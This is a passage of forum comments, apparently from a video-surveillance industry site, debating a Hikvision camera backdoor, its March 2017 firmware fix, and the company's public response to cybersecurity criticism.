If the camera is not accessible via internet and cannot access the internet, it's inside the house and you're confident your other devices don't have nasty viruses or such either, it's probably fairly safe to use it. It's the part where someone outside your house can ping it that makes it a risk with these kinds of nasty backdoors.
...
UPDATE -
We produced the following video, showing just how simple it is to utilize this exploit to retrieve an image snapshot and system information from a camera. We also show the password reset tool in use:
That is expected, as it was fixed in version 5.4.5 (released in March 2017) for most models.
From Hikvision's "Privilege-Escalating Vulnerability Notice":
Hikvision responds to IPVM and to cybersecurity criticisms in new blog post:
JH == John Honovich??!
Lol, sorry for not clarifying that.
JH, in that context, is "Jeffrey He, president of Hikvision USA Inc. and Hikvision Canada Inc"
Ironic, though.
The Chinese JH seems overly sensitive of the blogger. I have never read the American JH "promoting offensive rhetoric about China and the Chinese people."
I suppose He is correct if "China" = Chinese government and "Chinese people" = Hikvision employees.
Why does Hikvision continue to defame the blogger? They should focus on continuous organizational and product improvement.
Sounds like Jeffery is reminding folks that cybersecurity is a problem for everyone instead of taking a cheap pot shot at Dahua (who is Headquartered across the street) he has acted in a professional manner, and spoke about the real threats. It makes no difference which manufacturer you prefer everyone is taken to task on cybersecurity because it is an ongoing threat to all equipment.
Go ahead point the finger at me again, but remember when you point one finger at me you are pointing three at yourself!
Sounds like Jeffery is reminding folks that cybersecurity is a problem for everyone
Their agenda is to make cybersecurity a non-issue by arguing that everyone has the same cyber security problems. But Hikvision's track record in the last year (with a magic string backdoor, a compromised online service, emailing passwords in plain text, cracked security codes, etc.) show otherwise.
I can certainly understand the logic about trying to do this but the underlying premise is factually false.
“Never argue with a fool, onlookers may not be able to tell the difference.”
― Mark Twain
Ok, who thinks they are funny?
